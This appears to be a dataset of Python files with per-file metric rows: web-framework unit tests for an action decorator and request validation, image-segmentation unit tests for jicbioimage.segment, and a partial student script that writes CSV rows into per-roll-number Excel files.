def test_decorator_unknown_action(self):
with self.assertRaises(AssertionError) as cm_exc:
@action
def unused_my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertEqual(str(cm_exc.exception), 'Unknown action "unused_my_action"')
# Action decorator with spec
def test_decorator_spec(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action, Action))
self.assertTrue(isinstance(my_action, Request))
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertEqual(my_action.urls, (('POST', '/my_action'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertEqual(my_action.wsgi_response, False)
# Action decorator with spec parser
def test_decorator_types(self):
spec_parser = SchemaMarkdownParser('''\
action my_action
''')
@action(types=spec_parser.types)
def my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action, Action))
self.assertTrue(isinstance(my_action, Request))
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertEqual(my_action.urls, (('POST', '/my_action'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertEqual(my_action.wsgi_response, False)
# Action decorator with spec parser and a spec
def test_decorator_types_and_spec(self):
spec_parser = SchemaMarkdownParser('''\
typedef int(> 0) PositiveInteger
''')
@action(types=spec_parser.types, spec='''\
action my_action
input
PositiveInteger value
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action, Action))
self.assertTrue(isinstance(my_action, Request))
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertEqual(my_action.urls, (('POST', '/my_action'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertEqual(my_action.wsgi_response, False)
# Action decorator with parser
def test_decorator_parser(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action, Action))
self.assertTrue(isinstance(my_action, Request))
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertEqual(my_action.urls, (('POST', '/my_action'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertEqual(my_action.wsgi_response, False)
# Action decorator with spec with unknown action
def test_decorator_spec_no_actions(self):
with self.assertRaises(AssertionError) as cm_exc:
@action(spec='''\
action my_action
''')
def unused_my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertEqual(str(cm_exc.exception), 'Unknown action "unused_my_action"')
# Action decorator with spec with syntax errors
def test_decorator_spec_error(self):
with self.assertRaises(SchemaMarkdownParserError) as cm_exc:
@action(spec='''\
asdfasdf
''')
def unused_my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertEqual(str(cm_exc.exception), ':1: error: Syntax error')
# Action decorator with name and spec
def test_decorator_named_spec(self):
@action(name='theAction', spec='''\
action theActionOther
action theAction
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action, Action))
self.assertTrue(isinstance(my_action, Request))
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'theAction')
self.assertEqual(my_action.urls, (('POST', '/theAction'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'theAction')
self.assertEqual(my_action.wsgi_response, False)
def test_decorator_url_spec(self):
# Action decorator with urls, custom response callback, and validate response bool
@action(spec='''\
action my_action
urls
GET
GET /
*
* /star
''')
def my_action(unused_ctx, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertTupleEqual(my_action.urls, (('GET', '/my_action'), ('GET', '/'), (None, '/my_action'), (None, '/star')))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertFalse(my_action.wsgi_response)
def test_decorator_url_spec_default(self):
# Action decorator with urls, custom response callback, and validate response bool
@action(spec='''\
action my_action
urls
''')
def my_action(unused_ctx, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
self.assertEqual(my_action.name, 'my_action')
self.assertEqual(my_action.urls, (('POST', '/my_action'),))
self.assertTrue(isinstance(my_action.model, dict))
self.assertEqual(my_action.model['name'], 'my_action')
self.assertFalse(my_action.wsgi_response)
# Test successful action get
def test_get(self):
@action(spec='''\
action my_action
urls
GET
query
int a
int b
output
int c
''')
def my_action(unused_app, req):
return {'c': req['a'] + req['b']}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('GET', '/my_action', query_string='a=7&b=8')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"c":15}')
# Test successful action get
def test_get_no_validate_output(self):
@action(spec='''\
action my_action
urls
GET
query
int a
int b
output
int c
''')
def my_action(unused_app, req):
return {'c': req['a'] + req['b']}
app = Application()
app.add_request(my_action)
app.validate_output = False
status, headers, response = app.request('GET', '/my_action', query_string='a=7&b=8')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"c":15}')
# Test successful action get with JSONP
def test_get_jsonp(self):
@action(jsonp='jsonp', spec='''\
action my_action
urls
GET
query
int a
int b
output
int c
''')
def my_action(unused_app, req):
return {'c': req['a'] + req['b']}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('GET', '/my_action', query_string='a=7&b=8&jsonp=foo')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), 'foo({"c":15});')
# Test successful action post
def test_post(self):
@action(spec='''\
action my_action
urls
*
* /my/{a}
path
int a
query
int b
input
int c
output
int d
''')
def my_action(unused_app, req):
return {'d': req['a'] + req['b'] + req['c']}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my/5', query_string='b=7', wsgi_input=b'{"c": 8}')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"d":20}')
# Mixed content and query string
status, headers, response = app.request('POST', '/my_action', query_string='a=7', wsgi_input=b'{"b": 8}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Required member \'c\' missing (content)"}')
# Mixed content and query string #2
status, headers, response = app.request('POST', '/my_action', query_string='b=8', wsgi_input=b'{"c": 8}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Required member \'a\' missing (path)"}')
# Mixed content and query string #3
status, headers, response = app.request('POST', '/my/5', wsgi_input=b'{"c": 8}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Required member \'b\' missing (query string)"}')
# Test successful action get with headers
def test_headers(self):
@action(spec='''\
action my_action
''')
def my_action(ctx, unused_req):
ctx.add_header('MyHeader', 'MyInitialValue')
ctx.add_header('MyHeader', 'MyValue')
return {}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action')
self.assertEqual(status, '200 OK')
self.assertEqual(headers, [('Content-Type', 'application/json'), ('MyHeader', 'MyValue')])
self.assertEqual(response.decode('utf-8'), '{}')
# Test successful action with custom response
def test_custom_response(self):
@action(wsgi_response=True, spec='''\
action my_action
input
string a
output
string b
''')
def my_action(ctx, req):
return ctx.response_text(HTTPStatus.OK, 'Hello ' + str(req['a'].upper()))
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{"a": "world"}')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'text/plain')])
self.assertEqual(response.decode('utf-8'), 'Hello WORLD')
# Test action error response (invalid)
def test_error_response(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
return {'error': 'MyError'}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidOutput","message":"Unknown member \'error\'"}')
# Test action error response with message
def test_error_message(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
raise ActionError('MyError', message='My message')
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyError","message":"My message"}')
# Test action raised-error response
def test_error_raised(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
raise ActionError('MyError')
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyError"}')
# Test action raised-error response with message
def test_error_raised_message(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
raise ActionError('MyError', 'My message')
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyError","message":"My message"}')
# Test action raised-error response with status
def test_error_raised_status(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
raise ActionError('MyError', message='My message', status=HTTPStatus.NOT_FOUND)
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '404 Not Found')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyError","message":"My message"}')
# Test action raising builtin error enum value
def test_error_raise_builtin(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
raise ActionError('UnexpectedError', status=HTTPStatus.INTERNAL_SERVER_ERROR)
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}', environ=environ)
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"UnexpectedError"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
# Test action raising an unknown error enum value
def test_error_unknown_error(self):
@action(spec='''\
action my_action
errors
MyError
''')
def my_action(unused_app, unused_req):
raise ActionError('MyBadError')
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'),
'{"error":"InvalidOutput","member":"error","message":"Invalid value \'MyBadError\' (type \'str\') '
'for member \'error\', expected type \'my_action_errors\'"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
app.validate_output = False
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyBadError"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
# Test action raising an undefined error enum value (no errors type)
def test_error_undefined_error(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
raise ActionError('MyBadError')
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'),
'{"error":"InvalidOutput","member":"error","message":"Invalid value \'MyBadError\' (type \'str\') '
'for member \'error\', expected type \'my_action_errors\'"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
app.validate_output = False
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"MyBadError"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
def test_error_inherited_error(self):
@action(spec='''\
enum MyErrors
Invalid
action my_action
urls
GET
errors (MyErrors)
''')
def my_action(unused_app, unused_req):
raise ActionError('Invalid')
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('GET', '/my_action')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"Invalid"}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
# Test action query string decode error
def test_error_invalid_query_string(self):
@action(spec='''\
action my_action
urls
GET
query
int a
int b
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
status, headers, response = app.request('GET', '/my_action', query_string='a&b=1')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Invalid key/value pair \'a\'"}')
# Test action long query string decode error
def test_error_invalid_query_string_long(self):
@action(spec='''\
action my_action
urls
GET
query
int a
int b
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('GET', '/my_action', query_string='a' * 2000 + '&b=1', environ=environ)
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Invalid key/value pair \'' + 'a' * 99 + '"}')
self.assertRegex(
environ['wsgi.errors'].getvalue(),
r"^WARNING \[\d+ / \d+\] Error decoding query string for action 'my_action': 'a{999}$"
)
# Test action url arg
def test_url_arg(self):
@action(spec='''\
action my_action
urls
GET /my_action/{a}
path
int a
query
int b
output
int sum
''')
def my_action(unused_app, req):
self.assertEqual(req['a'], 5)
return {'sum': req['a'] + req['b']}
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('GET', '/my_action/5', query_string='b=7', environ=environ)
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"sum":12}')
self.assertEqual(environ['wsgi.errors'].getvalue(), '')
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('GET', '/my_action/5', query_string='a=3&b=7', environ=environ)
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"InvalidInput","message":"Unknown member \'a\' (query string)"}')
self.assertRegex(
environ['wsgi.errors'].getvalue(),
r"WARNING \[\d+ / \d+\] Invalid query string for action 'my_action': Unknown member 'a'"
)
# Test action with invalid json content
def test_error_invalid_json(self):
@action(spec='''\
action my_action
input
int a
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{a: 7}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(headers, [('Content-Type', 'application/json')])
self.assertRegex(
response.decode('utf-8'),
'{"error":"InvalidInput","message":"Invalid request JSON:'
)
# Test action with invalid HTTP method
def test_error_invalid_method(self):
@action(spec='''\
action my_action
input
int a
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
status, headers, response = app.request('FOO', '/my_action', wsgi_input=b'{"a": 7}')
self.assertEqual(status, '405 Method Not Allowed')
self.assertEqual(sorted(headers), [('Content-Type', 'text/plain')])
self.assertEqual(response.decode('utf-8'), 'Method Not Allowed')
# Test action with invalid input
def test_error_invalid_input(self):
@action(spec='''\
action my_action
input
string a
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{"a": 7}')
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'),
'{"error":"InvalidInput","member":"a","message":"Invalid value 7 (type \'int\') '
'for member \'a\', expected type \'string\' (content)"}')
# Test action with invalid array input
def test_error_invalid_input_array_query_string(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
environ = {'wsgi.errors': StringIO()}
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'[]', query_string='foo=bar', environ=environ)
self.assertEqual(status, '400 Bad Request')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(
response.decode('utf-8'),
'{"error":"InvalidInput","message":"Invalid value [] (type \'list\'), expected type \'my_action_input\' (content)"}'
)
self.assertRegex(
environ['wsgi.errors'].getvalue(),
r"WARNING \[\d+ / \d+\] Invalid content for action 'my_action': "
r"Invalid value \[\] \(type 'list'\), expected type 'my_action_input'"
)
# Test action with invalid output
def test_error_invalid_output(self):
@action(spec='''\
action my_action
output
int a
''')
def my_action(unused_app, unused_req):
return {'a': 'asdf'}
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'),
'{"error":"InvalidOutput","member":"a","message":"Invalid value \'asdf\' (type \'str\') '
'for member \'a\', expected type \'int\'"}')
# Test action with invalid None output
def test_error_none_output(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
pass
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '200 OK')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{}')
# Test action with invalid array output
def test_error_array_output(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
return []
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'),
'{"error":"InvalidOutput","message":"Invalid value [] (type \'list\'), '
'expected type \'my_action_output\'"}')
# Test action with unexpected error
def test_error_unexpected(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
raise Exception('My unexpected error')
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"UnexpectedError"}')
# Test action HTTP post IO error handling
def test_error_io(self):
@action(spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
pass # pragma: no cover
app = Application()
app.add_request(my_action)
class MyStream:
@staticmethod
def read():
raise IOError('FAIL')
status, headers, response = app.request('POST', '/my_action', environ={'wsgi.input': MyStream()},)
self.assertEqual(status, '408 Request Timeout')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"IOError","message":"Error reading request content"}')
# Test action JSON serialization error handling
def test_error_json(self):
class MyClass:
pass
@action(spec='''\
action my_action
output
float a
''')
def my_action(unused_app, unused_req):
return {'a': MyClass()}
app = Application()
app.add_request(my_action)
app.validate_output = False
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'text/plain')])
self.assertEqual(response, b'Internal Server Error')
# Test action unexpected error response with custom response
def test_error_unexpected_custom(self):
@action(wsgi_response=True, spec='''\
action my_action
''')
def my_action(unused_app, unused_req):
raise Exception('FAIL')
app = Application()
app.add_request(my_action)
status, headers, response = app.request('POST', '/my_action', wsgi_input=b'{}')
self.assertEqual(status, '500 Internal Server Error')
self.assertEqual(sorted(headers), [('Content-Type', 'application/json')])
self.assertEqual(response.decode('utf-8'), '{"error":"UnexpectedError"}')
| 35.140749 | 135 | 0.621887 | 3,574 | 30,959 | 5.23559 | 0.056799 | 0.099188 | 0.029927 | 0.039547 | 0.847103 | 0.816535 | 0.787997 | 0.7601 | 0.742304 | 0.716973 | 0 | 0.007951 | 0.23221 | 30,959 | 880 | 136 | 35.180682 | 0.77926 | 0.070254 | 0 | 0.748879 | 0 | 0.017937 | 0.243158 | 0.031757 | 0 | 0 | 0 | 0 | 0.26009 | 1 | 0.121076 | false | 0.029895 | 0.007474 | 0.013453 | 0.149477 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d6d0888903a88a5ac18f698df25d6ddeb77649eb | 6,335 | py | Python | tests/segment_unit_tests.py | JIC-CSB/jicbioimage.segment | 289e5ab834913326a097e57bea458ea0737efb0c | [
"MIT"
] | null | null | null | tests/segment_unit_tests.py | JIC-CSB/jicbioimage.segment | 289e5ab834913326a097e57bea458ea0737efb0c | [
"MIT"
] | null | null | null | tests/segment_unit_tests.py | JIC-CSB/jicbioimage.segment | 289e5ab834913326a097e57bea458ea0737efb0c | [
"MIT"
] | null | null | null | """Unit tests for the jicbioimage.segment package."""
import unittest
import numpy as np
class GenericUnitTests(unittest.TestCase):
def test_version_is_string(self):
import jicbioimage.segment
self.assertTrue(isinstance(jicbioimage.segment.__version__, str))
class ConnectedComponentsTests(unittest.TestCase):
def setUp(self):
from jicbioimage.core.io import AutoWrite
AutoWrite.on = False
def test_connected_components(self):
from jicbioimage.segment import connected_components
from jicbioimage.segment import SegmentedImage
ar = np.array([[1, 1, 0, 0, 0],
[1, 1, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 2, 2, 2],
[0, 0, 2, 2, 2]], dtype=np.uint8)
segmentation = connected_components(ar)
self.assertTrue(isinstance(segmentation, SegmentedImage))
self.assertEqual(segmentation.identifiers, set([1, 2, 3]))
def test_connected_components_background_option(self):
from jicbioimage.segment import connected_components
from jicbioimage.segment import SegmentedImage
ar = np.array([[1, 1, 0, 0, 0],
[1, 1, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 2, 2, 2],
[0, 0, 2, 2, 2]], dtype=np.uint8)
segmentation = connected_components(ar, background=1)
self.assertTrue(isinstance(segmentation, SegmentedImage))
self.assertEqual(segmentation.identifiers, set([1, 2]))
def test_connected_components_connectivity_option(self):
from jicbioimage.segment import connected_components
from jicbioimage.segment import SegmentedImage
ar = np.array([[1, 1, 0, 0, 0],
[1, 1, 0, 0, 0],
[0, 0, 1, 1, 1],
[0, 0, 1, 1, 1],
[0, 0, 1, 1, 1]], dtype=np.uint8)
segmentation = connected_components(ar, connectivity=1)
self.assertTrue(isinstance(segmentation, SegmentedImage))
self.assertEqual(segmentation.identifiers, set([1, 2, 3, 4]))
segmentation = connected_components(ar, connectivity=2)
self.assertTrue(isinstance(segmentation, SegmentedImage))
self.assertEqual(segmentation.identifiers, set([1, 2]))
def test_connected_components_acts_like_a_transform(self):
from jicbioimage.segment import connected_components
from jicbioimage.core.image import Image
ar = np.array([[1, 1, 0, 0, 0],
[1, 1, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 2, 2, 2],
[0, 0, 2, 2, 2]], dtype=np.uint8)
im = Image.from_array(ar)
self.assertEqual(len(im.history), 1)
segmentation = connected_components(im)
self.assertEqual(len(segmentation.history), 2)
self.assertEqual(segmentation.history[-1],
"Applied connected_components transform")
class WatershedWithSeedsTests(unittest.TestCase):
def setUp(self):
from jicbioimage.core.io import AutoWrite
AutoWrite.on = False
def test_watershed_with_seeds(self):
from jicbioimage.segment import watershed_with_seeds
from jicbioimage.segment import SegmentedImage
ar = np.array([[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 9, 0, 0],
[9, 9, 9, 9, 9, 9],
[0, 0, 0, 9, 0, 0],
[0, 0, 0, 9, 0, 0]], dtype=np.uint8)
sd = np.array([[1, 0, 0, 0, 0, 2],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[3, 0, 0, 0, 0, 4]], dtype=np.uint8)
segmentation = watershed_with_seeds(ar, seeds=sd)
self.assertTrue(isinstance(segmentation, SegmentedImage))
self.assertEqual(segmentation.identifiers, set([1, 2, 3, 4]))
def test_watershed_with_seeds_mask_option(self):
from jicbioimage.segment import watershed_with_seeds
ar = np.array([[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 9, 0, 0],
[9, 9, 9, 9, 9, 9],
[0, 0, 0, 9, 0, 0],
[0, 0, 0, 9, 0, 0]], dtype=np.uint8)
sd = np.array([[1, 0, 0, 0, 0, 2],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[3, 0, 0, 0, 0, 4]], dtype=np.uint8)
ma = np.array([[1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1],
[1, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0]], dtype=bool)
segmentation = watershed_with_seeds(ar, seeds=sd, mask=ma)
self.assertEqual(segmentation.identifiers, set([1, 2, 3]))
mask_size = len(segmentation[np.where(segmentation == 0)])
self.assertEqual(mask_size, 6)
def test_watershed_with_seeds_acts_like_a_transform(self):
from jicbioimage.segment import watershed_with_seeds
from jicbioimage.core.image import Image
ar = np.array([[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 9, 0, 0],
[9, 9, 9, 9, 9, 9],
[0, 0, 0, 9, 0, 0],
[0, 0, 0, 9, 0, 0]], dtype=np.uint8)
im = Image.from_array(ar)
self.assertEqual(len(im.history), 1)
sd = np.array([[1, 0, 0, 0, 0, 2],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[3, 0, 0, 0, 0, 4]], dtype=np.uint8)
segmentation = watershed_with_seeds(im, seeds=sd)
self.assertEqual(len(segmentation.history), 2)
self.assertEqual(segmentation.history[-1],
"Applied watershed_with_seeds transform")
| 40.094937 | 73 | 0.49487 | 799 | 6,335 | 3.841051 | 0.090113 | 0.130987 | 0.158358 | 0.17465 | 0.825676 | 0.784946 | 0.782665 | 0.752362 | 0.710329 | 0.66406 | 0 | 0.098143 | 0.371113 | 6,335 | 157 | 74 | 40.350318 | 0.672189 | 0.007419 | 0 | 0.755906 | 0 | 0 | 0.012098 | 0 | 0 | 0 | 0 | 0 | 0.149606 | 1 | 0.07874 | false | 0 | 0.141732 | 0 | 0.244094 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d6ef193f826ebdae9054596b283e97f1b1bc5fa0 | 2,985 | py | Python | tut04/tut04.py | k-manish2001/1901CB23_2021 | f3d6c5ab15e553f96b906f5df0f2a4ccd72ff24b | [
"MIT"
] | 2 | 2021-08-01T17:20:31.000Z | 2021-08-01T17:28:26.000Z | tut04/tut04.py | k-manish2001/1901CB23_2021 | f3d6c5ab15e553f96b906f5df0f2a4ccd72ff24b | [
"MIT"
] | null | null | null | tut04/tut04.py | k-manish2001/1901CB23_2021 | f3d6c5ab15e553f96b906f5df0f2a4ccd72ff24b | [
"MIT"
] | null | null | null | import openpyxl
from openpyxl import Workbook
import csv
#Manish kushwah
#1901CB23
#Driver function
import os
#output by roll numbers*************************
def output_individual_roll():
#opening the file
open_file= open('regtable_old.csv','r')
with open_file:
for Row in open_file:
if os.path.exists(f"output_individual_roll/{Row[0]}.xlsx"):
workbook=openpyxl.load_workbook(r'output_individual_roll/'+Row[0]+'.xlsx')
active_sheet=workbook.active
sheet_present=active_sheet.max_row #counting no. of sheets
#adding the data with same roll no.
active_sheet.cell(row=sheet_present+1 ,column=1).value = Row[0] #for roll no.
active_sheet.cell(row=sheet_present+1 ,column=2).value = Row[1] #for register_sem
active_sheet.cell(row=sheet_present+1 ,column=3).value = Row[3] #for sub_no
active_sheet.cell(row=sheet_present+1 ,column=4).value = Row[8] #for sub_type
else: #if the file doesn't exist
workbook = Workbook()
active_sheet = workbook.active
active_sheet.cell(row=1 ,column=1).value = 'Rollno'
